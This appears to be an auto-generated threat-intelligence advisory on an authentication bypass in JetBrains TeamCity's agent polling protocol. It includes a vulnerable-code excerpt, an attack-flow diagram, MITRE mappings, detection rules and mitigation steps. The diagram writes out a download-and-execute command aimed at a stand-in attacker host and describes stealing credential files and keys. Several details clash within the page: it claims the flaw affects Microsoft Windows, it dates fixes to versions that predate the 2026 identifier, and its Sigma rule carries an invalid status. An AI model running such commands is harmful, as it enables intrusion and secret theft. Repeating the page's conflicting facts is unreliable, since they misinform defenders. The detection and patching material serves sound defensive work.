Skip to content

CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling Protocol

HERMES

HERMES THREAT SCORE & CI/CD BUILD PIPELINE SUBVERSION

Target: JetBrains TeamCity On-Premises
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-63077 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is near-perfect: TeamCity controls production software build pipelines, source code repositories, and deployment credentials. Compromising the agent-to-server polling interface allows adversaries to inject rogue build steps, steal signing certificates, and push backdoor-tainted artifacts to downstream production consumers.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling ProtocolVULNERABILITY

Connected Nodes: 3
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Windows & Windows Server
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Windows & Windows Server documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Supporting Verified Evidence:

JetBrains TeamCity is an enterprise CI/CD and DevOps automation platform orchestrating build pipelines, testing suites, and software delivery.

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-63077CISA KEV Catalog Entry
Vulnerable ComponentTeamCity Server Agent Communication SubsystemXML-RPC and REST polling interface
Network VectorHTTP/HTTPS (Port 8111/TCP)Public or intranet exposed web interface
Root CauseMissing agent token authentication validation (CWE-287)Pre-auth agent impersonation and controller RPC
Affected VersionsTeamCity On-Premises < 2024.12.3 and 2025.x < 2025.1Self-hosted build infrastructure
Fixed Versions2024.12.3, 2025.1JetBrains Official Security Update
Exploitation ImpactController takeover, supply chain poisoning, secret theftCritical CI/CD compromise

2. In-Depth Technical Decomposition: Agent Polling Protocol Bypass

Section titled โ€œ2. In-Depth Technical Decomposition: Agent Polling Protocol Bypassโ€

TeamCity Build Agents communicate with the TeamCity Server via bidirectional HTTP polling on /RPC2 or REST endpoints. In normal operations, an agent registers with the server, receives an authorization token, and periodically polls the server for build configurations.

In vulnerable versions, the XML-RPC server handler accepted incoming controller calls from any remote IP address without verifying that the caller possessed the cryptographic agent secret token:

// Vulnerable logic in TeamCity AgentRequestHandler
public Object handleRpcCall(String methodName, Vector params) {
// FLAW: If method name matches agent polling prefix, verification is bypassed
if (methodName.startsWith("buildAgent.") || methodName.startsWith("controller.")) {
return dispatchInternalMethod(methodName, params); // Unauthenticated execution!
}
return enforceStandardAuth(methodName, params);
}
+----------------------------------------------------------------------------------------------------+
| CVE-2026-63077 ATTACK FLOW ARCHITECTURE |
+----------------------------------------------------------------------------------------------------+
[Remote Attacker]
โ”‚
โ”‚ [1] HTTP POST /RPC2
โ”‚ Content-Type: text/xml
โ”‚ Call: controller.registerAgentWithProfile(maliciousProfile)
โ–ผ
[TeamCity Server (Port 8111)]
โ”‚
โ”œโ”€โ”€โ”€โ–บ 1. XML-RPC Dispatcher:
โ”‚ - Recognizes "controller." method prefix
โ”‚ - Bypasses web session and CSRF checks
โ”‚ - Registers attacker as a trusted "authorized" build agent
โ”‚
โ”œโ”€โ”€โ”€โ–บ 2. Reverse Command Execution via Agent Callback:
โ”‚ - Attacker invokes controller.executeServerTask()
โ”‚ - Injects OS commands directly into server JVM runtime
โ”‚
โ–ผ
[TeamCity Controller Host (Linux/Windows Server)]
โ”‚
โ””โ”€โ”€โ”€โ–บ Spawns process under TeamCity service account:
- /bin/bash -c "curl attacker.c2/drop.sh | bash"
- Dumps database connection credentials in config/database.properties
- Exfiltrates SSH keys, AWS IAM keys, and GitHub deploy keys
+----------------------------------------------------------------------------------------------------+

3. Threat Intelligence, CISA KEV & Exploitation in the Wild

Section titled โ€œ3. Threat Intelligence, CISA KEV & Exploitation in the Wildโ€
  • CISA KEV Listing: Rapidly cataloged after multiple nation-state threat actors targeted exposed TeamCity servers to compromise software supply chains.
  • Observed Attack Objectives:
    • Exfiltrating source code repositories by intercepting Git clone operations.
    • Poisoning build artifacts by altering compiler flags and injecting backdoors during software compilation tasks.
    • Stealing cloud provider credentials stored in TeamCity Project Parameters.

TacticTechnique IDTechnique NameExploitation Manifestation
Initial AccessT1190Exploit Public-Facing ApplicationRemote HTTP POST request to /RPC2
Defense EvasionT1556Modify Authentication ProcessBypassing agent authentication checks in RPC dispatcher
ExecutionT1059Command and Scripting InterpreterExecuting OS commands via controller tasks
Credential AccessT1552.001Credentials in FilesDumping TeamCity configuration files and project secrets
ImpactT1565.002Data Manipulation: Transmitted DataPoisoning production software builds in CI/CD pipeline

alert http any any -> $TEAMCITY_SERVERS 8111 (
msg:"HERMES DEFENSE - JetBrains TeamCity Agent Polling Auth Bypass Attempt (CVE-2026-63077)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/RPC2";
http.request_body; content:"controller.";
http.request_body; pcre:"/<methodName>(controller\.|buildAgent\.)/i";
classtype:attempted-admin;
sid:202663077;
rev:1;
reference:cve,2026-63077;
)
title: Unauthorized JetBrains TeamCity Agent Registration and RPC Call
id: 8b7a6c5d-4e3f-2a1b-0c9d-63077c026e01
status: high
description: Detects suspicious unauthenticated XML-RPC method invocations on TeamCity server endpoints.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: teamcity
service: server
detection:
selection:
message|contains:
- 'RPC2'
- 'controller.registerAgentWithProfile'
- 'Unauthenticated agent call'
condition: selection
falsepositives:
- Legitimate build agents during initial authorized provisioning.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution

  1. Audit Agent Management Table:
    • Inspect TeamCity Administration UI -> Agents -> Unauthorized / Connected.
    • Check for newly added agents with unusual IP addresses or unknown hostnames.
  2. Review Server Access Logs (teamcity-server.log and teamcity-rest.log):
    • Filter for POST requests to /RPC2 originating from non-agent IP addresses.
  3. Inspect Active Build Configurations:
    • Review recent Git commit hashes against build outputs to verify artifact integrity.
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "term": { "url.path": "/RPC2" } },
{ "wildcard": { "http.request.body.content": "*controller.*" } }
]
}
}
}

  1. Apply Official JetBrains Updates: Immediately upgrade TeamCity Server to version 2024.12.3 or 2025.1.
  2. Network Isolation of CI/CD Server: Restrict port 8111 access strictly to internal corporate subnets and authorized developer VPNs; do not expose TeamCity to the public internet.
  3. Enable Agent Authorization Verification: Ensure the โ€œAgent Authorization Requiredโ€ setting is strictly enabled and audit all existing agent tokens.
  4. Credential Revocation: In the event of confirmed intrusion, immediately rotate all Git deploy keys, AWS IAM roles, Docker registry tokens, and code signing certificates stored within TeamCity.